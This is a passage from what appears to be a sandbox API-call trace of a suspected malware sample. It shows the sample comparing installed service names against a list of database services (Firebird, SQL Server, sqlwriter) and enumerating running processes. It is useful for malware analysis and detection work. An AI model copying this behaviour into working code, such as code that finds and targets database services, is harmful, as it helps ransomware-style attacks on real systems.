lpString2="LicenseManager") returned 1 [0163.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0163.380] lstrlenW (lpString="lmhosts") returned 7 [0163.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0163.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0163.380] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0163.380] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0163.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0163.380] lstrlenW (lpString="LSM") returned 3 [0163.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0163.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0163.380] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0163.380] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0163.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0163.380] lstrlenW (lpString="MpsSvc") returned 6 [0163.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0163.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0163.380] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0163.380] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0163.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0163.380] lstrlenW (lpString="NcbService") returned 10 [0163.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0163.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0163.380] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0163.380] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0163.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0163.380] lstrlenW (lpString="netprofm") returned 8 [0163.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0163.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0163.380] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0163.380] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0163.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0163.380] lstrlenW (lpString="NlaSvc") returned 6 [0163.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0163.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0163.380] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0163.380] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0163.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0163.380] lstrlenW (lpString="nsi") returned 3 [0163.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0163.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0163.380] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0163.380] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0163.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0163.380] lstrlenW (lpString="PcaSvc") returned 6 [0163.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0163.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0163.381] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0163.381] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0163.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0163.381] lstrlenW (lpString="PlugPlay") returned 8 [0163.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0163.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0163.381] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0163.381] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0163.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0163.381] lstrlenW (lpString="Power") returned 5 [0163.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0163.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0163.381] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0163.381] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0163.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0163.381] lstrlenW (lpString="ProfSvc") returned 7 [0163.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0163.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0163.381] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0163.381] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0163.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0163.381] lstrlenW (lpString="RpcEptMapper") returned 12 [0163.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0163.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0163.381] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0163.381] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0163.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0163.381] lstrlenW (lpString="RpcSs") returned 5 [0163.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0163.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0163.381] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0163.381] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0163.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0163.381] lstrlenW (lpString="SamSs") returned 5 [0163.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0163.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0163.381] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0163.381] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0163.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0163.381] lstrlenW (lpString="Schedule") returned 8 [0163.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0163.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0163.381] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0163.381] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0163.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0163.381] lstrlenW (lpString="SecurityHealthService") returned 21 [0163.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0163.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0163.381] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0163.381] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0163.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0163.381] lstrlenW (lpString="SENS") returned 4 [0163.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0163.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0163.382] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0163.382] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0163.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0163.382] lstrlenW (lpString="ShellHWDetection") returned 16 [0163.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0163.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0163.382] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0163.382] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0163.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0163.382] lstrlenW (lpString="sppsvc") returned 6 [0163.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0163.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0163.382] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0163.382] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0163.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0163.382] lstrlenW (lpString="SSDPSRV") returned 7 [0163.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0163.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0163.382] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0163.382] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0163.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0163.382] lstrlenW (lpString="StateRepository") returned 15 [0163.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0163.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0163.382] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0163.382] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0163.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0163.382] lstrlenW (lpString="SysMain") returned 7 [0163.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0163.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0163.382] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0163.382] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0163.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0163.382] lstrlenW (lpString="SystemEventsBroker") returned 18 [0163.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0163.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0163.382] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0163.382] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0163.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0163.382] lstrlenW (lpString="Themes") returned 6 [0163.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0163.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0163.382] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0163.382] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0163.383] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x380 [0163.387] Process32FirstW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0163.387] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0163.388] lstrlenW (lpString="System") returned 6 [0163.388] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0163.713] lstrlenW (lpString="smss.exe") returned 8 [0163.714] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0163.714] lstrlenW (lpString="csrss.exe") returned 9 [0163.714] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0163.714] lstrlenW (lpString="wininit.exe") returned 11 [0163.715] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0163.715] lstrlenW (lpString="csrss.exe") returned 9 [0163.715] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0163.715] lstrlenW (lpString="winlogon.exe") returned 12 [0163.716] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0163.716] lstrlenW (lpString="services.exe") returned 12 [0163.716] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0163.717] lstrlenW (lpString="lsass.exe") returned 9 [0163.717] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.718] lstrlenW (lpString="svchost.exe") returned 11 [0163.718] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0163.718] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0163.718] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0163.719] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0163.719] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.719] lstrlenW (lpString="svchost.exe") returned 11 [0163.719] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0163.719] lstrlenW (lpString="dwm.exe") returned 7 [0163.720] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.720] lstrlenW (lpString="svchost.exe") returned 11 [0163.720] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.720] lstrlenW (lpString="svchost.exe") returned 11 [0163.720] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.721] lstrlenW (lpString="svchost.exe") returned 11 [0163.721] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.721] lstrlenW (lpString="svchost.exe") returned 11 [0163.721] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.722] lstrlenW (lpString="svchost.exe") returned 11 [0163.722] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.722] lstrlenW (lpString="svchost.exe") returned 11 [0163.722] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.722] lstrlenW (lpString="svchost.exe") returned 11 [0163.723] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.723] lstrlenW (lpString="svchost.exe") returned 11 [0163.723] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.723] lstrlenW (lpString="svchost.exe") returned 11 [0163.723] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.724] lstrlenW (lpString="svchost.exe") returned 11 [0163.724] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.724] lstrlenW (lpString="svchost.exe") returned 11 [0163.724] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0163.725] lstrlenW (lpString="audiodg.exe") returned 11 [0163.725] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0163.725] lstrlenW (lpString="sihost.exe") returned 10 [0163.725] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.725] lstrlenW (lpString="svchost.exe") returned 11 [0163.725] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0163.726] lstrlenW (lpString="taskhostw.exe") returned 13 [0163.726] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x784, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0163.726] lstrlenW (lpString="explorer.exe") returned 12 [0163.726] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0163.727] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0163.727] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0163.727] lstrlenW (lpString="Memory Compression") returned 18 [0163.727] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0163.727] lstrlenW (lpString="SearchUI.exe") returned 12 [0163.727] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0163.728] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0163.728] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0163.728] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0163.728] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0163.729] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0163.729] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tablets_refugees.exe")) returned 1 [0163.729] lstrlenW (lpString="tablets_refugees.exe") returned 20 [0163.729] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="migration dying locations.exe")) returned 1 [0163.730] lstrlenW (lpString="migration dying locations.exe") returned 29 [0163.730] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="college-advance.exe")) returned 1 [0163.730] lstrlenW (lpString="college-advance.exe") returned 19 [0163.730] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel ra execution.exe")) returned 1 [0163.730] lstrlenW (lpString="nickel ra execution.exe") returned 23 [0163.730] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, 